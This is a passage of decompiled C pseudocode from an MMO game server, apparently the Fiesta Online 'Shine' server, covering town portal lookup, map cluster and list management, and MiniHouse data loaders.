&v1->tpd_Data.baseclass_0.baseclass_0, v2) : &v1->tpd_Data.bdb_defaultblock; v9 = v6 < v1->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->tpd_Data.baseclass_0.baseclass_0, v6) : &v1->tpd_Data.bdb_defaultblock; v10 = *(_BYTE *)v7; if ( *(_BYTE *)v8 == *(_BYTE *)v9 ) { AssertClass::ac_AssertFail(&shineassert, "TownPortalData::tpd_Load : duplicate index", v10, *(_BYTE *)v13); ShineExit("TownPortalData::tpd_Load"); } ++m; if ( m >= number ) break; v2 = k; v6 = m; } v4 = number; v5 = v15; } k = v5; if ( v5 >= v4 - 1 ) break; v2 = v5; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TownPortalData::tpd_Load"); } //----- (00473710) -------------------------------------------------------- TownPortal *__thiscall TownPortalData::operator__(TownPortalData *this, char index) { TownPortalData *v2; // esi@1 unsigned int v3; // ebp@1 unsigned int v4; // edi@1 void *v5; // eax@3 TownPortal *result; // eax@7 void *v7; // esi@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TownPortalData::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TownPortalData::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 <= 0 ) { LABEL_7: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TownPortalData::operator []"); result = 0; } else { while ( 1 ) { v5 = v4 < v2->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v2->tpd_Data.baseclass_0.baseclass_0, v4) : &v2->tpd_Data.bdb_defaultblock; if ( *(_BYTE *)v5 == index ) break; ++v4; if ( (signed int)v4 >= (signed int)v3 ) goto LABEL_7; } if ( v4 < v2->tpd_Data.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v2->tpd_Data.baseclass_0.baseclass_0, v4); else v7 = &v2->tpd_Data.bdb_defaultblock; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TownPortalData::operator []"); result = (TownPortal *)v7; } return result; } //----- (00473820) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 TownPortal *v5; // edi@5 int v6; // edx@9 char *v7; // [sp-4h] [bp-3Ch]@4 SHINE_XY_TYPE coord; // [sp+10h] [bp-28h]@9 FunctionEntarance _; // [sp+18h] [bp-20h]@1 Name3 mapname; // [sp+1Ch] [bp-1Ch]@9 unsigned int v11; // [sp+28h] [bp-10h]@11 int v12; // [sp+34h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; if ( !(_S10_9 & 1) ) { _S10_9 |= 1u; cmc_46.cmc_AllowMode = 70; atexit(_E11_14); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_46.cmc_AllowMode ) { v5 = TownPortalData::operator__(&townportaldata, *(_BYTE *)(netcmd + 2)); if ( v5 ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1220))(v4) >= v5->MinLevel ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6593); *(_QWORD *)&mapname.n3_name[4] = 0i64; *(_DWORD *)&mapname.n3_name[0] = 0; strncpy(mapname.n3_name, v5->MapName, 0xCu); v6 = *(_DWORD *)v4; coord.x = v5->X; coord.y = v5->Y; (*(void (__thiscall **)(void *, Name3 *, SHINE_XY_TYPE *))(v6 + 2100))(v4, &mapname, &coord); } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6596); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6595); } v7 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"; } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 27, 6594); v7 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ"; } --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); __security_check_cookie(v11); } //----- (004739C0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, MapClusterManager::MapCluster *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); MapClusterManager::MapCluster::operator_(v3, (int)ele); return 1; } // 4739D5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004739F0) -------------------------------------------------------- int __thiscall MapClusterManager::MapCluster::operator_(int this, int a2) { int result; // eax@1 int v3; // ebx@1 void *v4; // edx@1 signed int v5; // [sp+14h] [bp+4h]@1 result = this; v3 = a2; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); v4 = (void *)(this + 12); v5 = 512; do { memcpy(v4, (char *)v4 + v3 - this, 0x48u); v4 = (char *)v4 + 72; --v5; } while ( v5 ); *(_DWORD *)(this + 36876) = *(_DWORD *)(v3 + 36876); *(_DWORD *)(this + 36880) = *(_DWORD *)(v3 + 36880); *(_DWORD *)(this + 36884) = *(_DWORD *)(v3 + 36884); return result; } //----- (00473A70) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, MapClusterManager::MapCluster *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); MapClusterManager::MapCluster::operator_(v3, (int)ele); return 1; } // 473A86: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00473AA0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, MapClusterManager::MapCluster *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MapClusterManager::MapCluster::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00473AF0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, MapClusterManager::MapCluster *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MapClusterManager::MapCluster::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00473B40) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00473B90) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::_ClusterManager(MapClusterManager::ClusterManager *this) { MapClusterManager::ClusterManager *v1; // esi@1 char *v2; // ebx@1 signed int v3; // ebp@1 int v4; // edi@2 void *v5; // esi@5 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = (char *)this->Clusters; v3 = 10; do { v4 = *(_DWORD *)v2; if ( *(_DWORD *)v2 ) { _eh_vector_destructor_iterator_( (void *)(v4 + 12), 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); operator delete((void *)v4); } v2 += 4; --v3; } while ( v3 ); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->cm_EmptyCheck); _eh_vector_destructor_iterator_( v1->cm_ClassChangeElfForest.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); _eh_vector_destructor_iterator_( v1->cm_ClassChangeGamble.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); _eh_vector_destructor_iterator_( v1->cm_ClassChangeRou.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); _eh_vector_destructor_iterator_( v1->cm_ClassChange.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v5 = v1->baseclass_0.l_Array; if ( v5 ) operator delete__(v5); } // 5AAB9C: using guessed type int (__stdcall *List_MapClusterManager__MapCluster____vftable_[3])(__int16 hnd); //----- (00473CB0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00473DD0) -------------------------------------------------------- #592 *__thiscall MapClusterManager::ClusterManager::cm_FindEmpty(MapClusterManager::ClusterManager *this, char *clientmapname) { int v2; // eax@0 void *v3; // esp@1 List *v4; // esi@1 MapClusterManager::MapCluster *v5; // eax@1 #592 *result; // eax@4 unsigned __int16 hnd; // [sp+0h] [bp-9030h]@1 int v8; // [sp+4h] [bp-902Ch]@1 MapClusterManager::MapCluster thisa; // [sp+8h] [bp-9028h]@1 unsigned int v10; // [sp+9020h] [bp-10h]@4 int v11; // [sp+9024h] [bp-Ch]@1 int (*v12)(); // [sp+9028h] [bp-8h]@1 int v13; // [sp+902Ch] [bp-4h]@1 v12 = _ehhandler__cm_FindEmpty_ClusterManager_MapClusterManager__QAEPAVFieldMap__PAD_Z; v11 = v2; v3 = alloca(36900); v4 = (List *)this; v8 = (int)"MapClusterManager::ClusterManager::cm_FindEmpty"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmpty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindEmpty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; MapClusterManager::MapCluster::MapCluster(&thisa, clientmapname, CATEGORY_CLASSIC); LOBYTE(v13) = 1; v5 = List::l_Search(v4, MapClusterManager::MapCluster::mc_CompName, &hnd, &thisa); if ( v5 ) { MapClusterManager::MapCluster::mc_FindEmpty(v5); LOBYTE(v13) = 0; _eh_vector_destructor_iterator_( thisa.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmpty"); } else { LOBYTE(v13) = 0; _eh_vector_destructor_iterator_( thisa.mc_Map, 0x48u, 512, (void (__thiscall *)(void *))MapClusterManager::MapCluster::InstanceMap::_InstanceMap); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmpty"); } __security_check_cookie(v10); return result; } // 586356: using guessed type int _ehhandler$?cm_FindEmpty_ClusterManager_MapClusterManager__QAEPAVFieldMap__PAD_Z(); //----- (00473F30) -------------------------------------------------------- #592 *__stdcall ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon(char *mapname) { #592 *v1; // eax@1 #592 *v2; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = MapClusterManager::ClusterManager::cm_FindEmpty(&mapclustermanager, mapname); --funcallanalizer.fca_stackpoint; v2 = v1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon"); return v2; } //----- (00473FD0) -------------------------------------------------------- void __thiscall MapClusterManager::ClusterManager::ClusterManager(MapClusterManager::ClusterManager *this) { MapClusterManager::ClusterManager *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0xEu); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChange, "Job1_Dn01", CATEGORY_CLASSIC); MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChangeRou, "Rou", CATEGORY_CLASSIC); MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChangeGamble, "Job2_Dn01", CATEGORY_CLASSIC); MapClusterManager::MapCluster::MapCluster(&v1->cm_ClassChangeElfForest, "Job2_Dn02", CATEGORY_CLASSIC); Metronome::Metronome(&v1->cm_EmptyCheck); v1->Clusters[0] = 0; v1->Clusters[1] = 0; v1->Clusters[2] = 0; v1->Clusters[3] = 0; v1->Clusters[4] = 0; v1->Clusters[5] = 0; v1->Clusters[6] = 0; v1->Clusters[7] = 0; v1->Clusters[8] = 0; v1->Clusters[9] = 0; v1->cm_EmptyCheck.m_NextTick = clockwatch.cw_CurrTick + 150; v1->cm_EmptyCheck.m_TickInterval = 150; } // 5AAB9C: using guessed type int (__stdcall *List_MapClusterManager__MapCluster____vftable_[3])(__int16 hnd); //----- (004740E0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xFBu, 0xAu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00474190) -------------------------------------------------------- void __thiscall MiniHouseEndureDataBox::MiniHouseEndureDataBox(MiniHouseEndureDataBox *this) { char *v1; // edi@1 v1 = (char *)&this->mhe_BinData; CCharacterTitleData::CCharacterTitleData(&this->mhe_BinData.baseclass_0); v1 += 60; *(_DWORD *)v1 = 0; *((_DWORD *)v1 + 1) = 0; *((_WORD *)v1 + 4) = 0; } //----- (004741C0) -------------------------------------------------------- void __thiscall MiniHouseEndureDataBox::mhe_Load(MiniHouseEndureDataBox *this) { MiniHouseEndureDataBox *v1; // esi@1 MiniHouseEndure *v2; // edx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiniHouseEndureDataBox::mhe_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiniHouseEndureDataBox::mhe_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->mhe_default = &v1->mhe_BinData.bdb_defaultblock; BinaryDataBox::bdb_ReadData(&v1->mhe_BinData, "../9Data/Shine/MiniHouseEndure.shn"); v2 = v1->mhe_default; v1->mhe_Number = v1->mhe_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; *(_DWORD *)&v2->Handle = 0; *(_DWORD *)&v2->Endure[1] = 0; v2->Endure[3] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiniHouseEndureDataBox::mhe_Load"); } //----- (00474280) -------------------------------------------------------- int __thiscall MiniHouseEndureDataBox::mhe_CalEndureGrade(MiniHouseEndureDataBox *this, unsigned __int16 nEndureType, ShineDateTime *dEndEndureDate, MHE_STEP *nEndureGrade) { int result; // eax@2 char *v5; // ebx@3 void *v6; // eax@4 void *v7; // eax@12 int v8; // eax@16 unsigned int v9; // edx@16 int v10; // esi@16 int v11; // eax@16 signed int v12; // edx@18 int v13; // esi@18 signed int v14; // edi@20 void *v15; // eax@22 void *v16; // eax@26 struct tm dEndEndureTime; // [sp+8h] [bp-48h]@16 struct tm dCurTime; // [sp+2Ch] [bp-24h]@16 if ( nEndureType <= (signed int)this->mhe_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { v5 = (char *)&this->mhe_BinData; if ( nEndureType < this->mhe_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord((CDataReader *)v5, nEndureType); else v6 = &this->mhe_BinData.bdb_defaultblock; if ( *(_WORD *)v6 == nEndureType ) { if ( dEndEndureDate->_bf0 & 0xFF ) { if ( (dEndEndureDate->_bf0 & 0xFF) != 255 || ((unsigned int)nEndureType < *(_DWORD *)(*((_DWORD *)v5 + 12) + 40) ? (v7 = CDataReader::GetRecord( (CDataReader *)v5, nEndureType)) : (v7 = v5 + 60), *((_WORD *)v7 + 1)) ) { v8 = dEndEndureDate->_bf0; v9 = (unsigned int)dEndEndureDate->_bf0 >> 8; memcpy((void *)&dCurTime, &stru_7BC0CC, sizeof(dCurTime)); dEndEndureTime.tm_year = (unsigned __int8)v8 + 100; dEndEndureTime.tm_mon = (v9 & 0x1F) - 1; dEndEndureTime.tm_min = (unsigned int)v8 >> 25; dEndEndureTime.tm_mday = ((unsigned int)v8 >> 13) & 0x3F; dEndEndureTime.tm_hour = ((unsigned int)v8 >> 19) & 0x3F; dEndEndureTime.tm_sec = 0; v10 = mktime(&dCurTime); v11 = mktime(&dEndEndureTime); if ( v11 > v10 ) { v12 = (signed int)(v11 - v10 + ((unsigned __int64)(-1851608123i64 * (v11 - v10)) >> 32)) >> 11; v13 = v12 + ((unsigned int)v12 >> 31); if ( (unsigned __int16)v13 > *(_WORD *)&BinaryDataBox::operator__( (BinaryDataBox *)v5, nEndureType)->InxName[0] ) LOWORD(v13) = *(_WORD *)&BinaryDataBox::operator__((BinaryDataBox *)v5, nEndureType)->InxName[0]; v14 = 0; while ( 1 ) { v15 = (unsigned int)nEndureType < *(_DWORD *)(*((_DWORD *)v5 + 12) + 40) ? CDataReader::GetRecord( (CDataReader *)v5, nEndureType) : v5 + 60; if ( (unsigned __int16)v13 < *((_WORD *)v15 + v14 + 1) ) { v16 = (unsigned int)nEndureType < *(_DWORD *)(*((_DWORD *)v5 + 12) + 40) ? CDataReader::GetRecord( (CDataReader *)v5, nEndureType) : v5 + 60; if ( (unsigned __int16)v13 >= *((_WORD *)v16 + v14 + 2) ) break; } ++v14; if ( v14 >= 3 ) return 0; } *nEndureGrade = v14 + 1; result = 1; } else { *nEndureGrade = 4; result = 1; } } else { *nEndureGrade = 1; result = 1; } } else { *nEndureGrade = 0; result = 1; } } else { result = 0; } } else { result = 0; } return result; } //----- (00474450) -------------------------------------------------------- MiniHouseObjAniDataBox::AniData *__thiscall MiniHouseObjAniDataBox::mhoadb_GetAniData(MiniHouseObjAniDataBox *this, unsigned __int16 hnd) { MiniHouseObjAniDataBox *v2; // esi@1 MiniHouseObjAniDataBox::ServerAniData *v3; // edi@2 unsigned __int16 v4; // ax@3 char v5; // al@5 char v6; // al@8 MiniHouseObjAniDataBox::AniData *result; // eax@9 v2 = this; if ( hnd >= this->mhoadb_MaxItemHandle ) { result = 0; } else { this->mhoadb_AniData.PreHandle = hnd; v3 = &this->p_mhoadb_ServerAniData[hnd]; if ( v3->isRand ) { v3 = &this->p_mhoadb_ServerAniData[hnd]; v4 = v3->RandStartHandle + RandomBox::operator__(&rndbox, v3->RandCnt); } else { v4 = v3->RandStartHandle; } v2->mhoadb_AniData.NextHandle = v4; v5 = v3->ActorMaxNum; if ( v5 ) v2->mhoadb_AniData.ActorIdx = RandomBox::operator__(&rndbox, (unsigned __int8)v5) + 1; else v2->mhoadb_AniData.ActorIdx = 0; v6 = v2->p_mhoadb_ServerAniData[hnd].ActeeMaxNum; if ( v6 ) { v2->mhoadb_AniData.ActeeIdx = RandomBox::operator__(&rndbox, (unsigned __int8)v6) + 1; result = &v2->mhoadb_AniData; } else { result = &v2->mhoadb_AniData; v2->mhoadb_AniData.ActeeIdx = 0; } } return result; } //----- (00474500) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x271u, 0x27u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004745B0) -------------------------------------------------------- void __thiscall MiniHouseObjAniDataBox::MiniHouseObjAniDataBox(MiniHouseObjAniDataBox *this) { char *v1; // edi@1 v1 = (char *)&this->mhoadb_BinData; CCharacterTitleData::CCharacterTitleData(&this->mhoadb_BinData.baseclass_0); v1 += 60; memset(v1, 0, 0x24u); v1 += 36; *(_WORD *)v1 = 0; v1[2] = 0; } //----- (004745E0) -------------------------------------------------------- void __thiscall PassiveDataBox::_PassiveDataBox(AbnormalStateDictionary::SubAbState *this) { CCharacterTitleData::_CCharacterTitleData(&this->sas_BinData.baseclass_0); } //----- (004745F0) -------------------------------------------------------- void __thiscall MiniHouseObjAniDataBox::mhoadb_MakeServerAniData(MiniHouseObjAniDataBox *this) { MiniHouseObjAniDataBox *v1; // edi@1 unsigned int v2; // eax@1 unsigned int v3; // esi@1 int v4; // ebp@1 void *v5; // eax@3 void *v6; // eax@7 int v7; // esi@11 unsigned int v8; // ebx@11 int v9; // ecx@11 int v10; // eax@12 void *v11; // eax@16 unsigned __int16 v12; // bp@18 void *v13; // eax@19 void *v14; // eax@23 void *v15; // eax@26 unsigned int v16; // ebp@29 void *v17; // eax@31 void *v18; // eax@35 void *v19; // eax@40 int v20; // ebp@45 void *v21; // eax@46 void *v22; // eax@49 void *v23; // eax@51 int same_group; // [sp+10h] [bp-1Ch]@22 signed __int16 RandStartHande; // [sp+14h] [bp-18h]@28 unsigned int j; // [sp+18h] [bp-14h]@28 unsigned int i; // [sp+1Ch] [bp-10h]@14 __int16 CurrItemID; // [sp+20h] [bp-Ch]@25 int CurrGroupID; // [sp+24h] [bp-8h]@28 unsigned __int16 CurrHandle; // [sp+28h] [bp-4h]@18 v1 = this; v2 = this->mhoadb_Number; v3 = 0; v4 = 0; this->mhoadb_MaxItemHandle = 0; if ( v2 ) { do { if ( v3 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v5 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v3); else v5 = &v1->mhoadb_BinData.bdb_defaultblock; if ( v1->mhoadb_MaxItemHandle < *(_WORD *)v5 ) { if ( v3 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v3); else v6 = &v1->mhoadb_BinData.bdb_defaultblock; v1->mhoadb_MaxItemHandle = *(_WORD *)v6; } ++v4; v3 = (unsigned __int16)v4; } while ( (unsigned __int16)v4 < v1->mhoadb_Number ); } v7 = v1->mhoadb_MaxItemHandle + 1; v1->mhoadb_MaxItemHandle = v7; v1->p_mhoadb_ServerAniData = (MiniHouseObjAniDataBox::ServerAniData *)operator new__(8 * v7); v8 = 0; v9 = 0; if ( v1->mhoadb_MaxItemHandle ) { v10 = 0; do { v1->p_mhoadb_ServerAniData[v10].isRand = 0; v1->p_mhoadb_ServerAniData[v10].RandCnt = 0; v1->p_mhoadb_ServerAniData[v10].RandStartHandle = -1; v1->p_mhoadb_ServerAniData[v10].ActorMaxNum = 0; ++v9; v1->p_mhoadb_ServerAniData[v10].ActeeMaxNum = 0; v10 = (unsigned __int16)v9; } while ( (unsigned __int16)v9 < v1->mhoadb_MaxItemHandle ); } i = 0; if ( v1->mhoadb_Number ) { while ( 1 ) { v11 = v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mhoadb_BinData.baseclass_0.baseclass_0, v8) : &v1->mhoadb_BinData.bdb_defaultblock; v12 = *(_WORD *)v11; CurrHandle = *(_WORD *)v11; v13 = v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mhoadb_BinData.baseclass_0.baseclass_0, v8) : &v1->mhoadb_BinData.bdb_defaultblock; if ( *(_WORD *)((char *)v13 + 11) < 0x2710u ) break; same_group = 0; if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v14 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v14 = &v1->mhoadb_BinData.bdb_defaultblock; CurrItemID = *((_WORD *)v14 + 1); if ( v8 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v15 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v8); else v15 = &v1->mhoadb_BinData.bdb_defaultblock; CurrGroupID = *(_WORD *)((char *)v15 + 11); RandStartHande = -1; j = 0; if ( v1->mhoadb_Number ) { v16 = 0; do { if ( v16 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v16); else v17 = &v1->mhoadb_BinData.bdb_defaultblock; if ( *((_WORD *)v17 + 1) == CurrItemID ) { v18 = v16 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v1->mhoadb_BinData.baseclass_0.baseclass_0, v16) : &v1->mhoadb_BinData.bdb_defaultblock; if ( *(_WORD *)((char *)v18 + 5) == CurrGroupID ) { ++same_group; if ( RandStartHande == -1 ) { if ( v16 < v1->mhoadb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v19 = CDataReader::GetRecord(&v1->mhoadb_BinData.baseclass_0.baseclass_0, v16); else v19 = &v1->mhoadb_BinData.bdb_defaultblock; RandStartHande = *(_WORD *)v19; } } } ++j; v16 = j; } while ( j < v1->mhoadb_Number ); v12 = CurrHandle; } v20 = v12; v1->p_mhoadb_ServerAniData[v20].isRand = 1; v1->p_mhoadb_ServerAniData[v20].RandCnt = same_group; v1->p_mhoadb_ServerAniData[v20].RandStartHandle = 